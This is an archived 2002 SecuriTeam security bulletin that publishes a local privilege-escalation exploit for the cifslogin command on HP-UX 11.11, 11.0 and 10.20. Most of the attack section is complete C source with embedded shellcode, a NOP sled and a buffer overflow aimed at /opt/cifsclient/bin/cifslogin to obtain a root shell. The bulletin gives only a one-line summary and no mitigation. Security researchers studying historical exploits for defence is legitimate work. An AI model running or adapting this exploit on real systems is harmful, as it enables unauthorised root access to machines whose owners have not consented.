[EXPL] Local Root Exploit for cifslogin on HP-UX

From: support@securiteam.com
Date: 11/17/02

  • Next message: support@securiteam.com: "[UNIX] Remote Buffer Overflow Vulnerability in LibHTTPd"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 17 Nov 2002 22:04:50 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Local Root Exploit for cifslogin on HP-UX
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability in the cifslogin allows local attackers to cause it to
    execute arbitrary code, and gaining arbitrary privileges.

    DETAILS

    Exploit:
    /*
    Name : ex_cifslogin.c
    Compile : cc ex_cifslogin -o cifslogin
    Purpose : exploit cifslogin command for HP-UX 11.11 11.0 10.20Łto get root
    shell
    Author : watercloud < safesuite@263.net, watercloud@xfocus.net >
    Date : 2002-11-6
    Announce: Use as your own riskĄŁ
    Thanks : bear < bearundertree@163.com >
    Tested : HPUX B11.11
    */
    #include<stdio.h>

    #define T_LEN 2304
    #define BUFF_LEN 2176
    #define NOP 0x0b390280

    char shellcode[]=
            "\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02"
            "\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03"
            "\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA";
    long addr;
    char buffer[T_LEN];

    main()
    {
            int addr_off =800 ;

            int n=BUFF_LEN/4,i=0;
            long * ap = (long *) &buffer[BUFF_LEN];
            char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
            long * np = (long *) buffer;

            addr = ((long) &addr_off + T_LEN ) & 0xffffff40 +0x40 ;

            for(i=0;i<n;np[i++]=NOP);
            memcpy(sp,shellcode,strlen(shellcode));
            for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off);

            printf("SP=0x%x EXP_SP=0x%x OFF=0x%x (%i)\n",(long)&addr_off &
    0xffffff40,addr,addr_off);
            printf("Addr =0x%x
    NOP_LEN=%i\n",addr+addr_off,BUFF_LEN-strlen(shellcode));
            printf("BUFFER_LEN=%i\n",strlen(buffer));

            
    execl("/opt/cifsclient/bin/cifslogin","cifslogin","123",buffer,NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:safesuite@263.net>
    watercloud, <mailto:watercloud@xfocus.net> watercloud.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • [EXPL] Xsun (Sparc) Local Exploit (RGB_DB)
      ... struct TREE { ... main(int argc, char *argv) ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [TOOL] AIM Filter (Vulnerability Filtering Assistant)
      ... AIM Filter allows users of AIM to protect themselves from incoming illegal ... (crash it, cause it to execute arbitrary code, etc). ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Remote Heap Corruption Overflow vulnerability in WsMp3d (CHA)
      ... A remotely exploitable heap vulnerability allows ... attackers to cause the program to execute arbitrary code. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] Exploit Code Released for su Vulnerability (Tru64)
      ... completely bypasses the non-exec stack on tru64. ... main(int argc, char *argv) { ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NEWS] XSS Vulnerability in NOKIA Official Website
      ... A Cross Site Scripting vulnerability has been discovered in Nokia ... user to execute arbitrary code. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)

  • Quantcast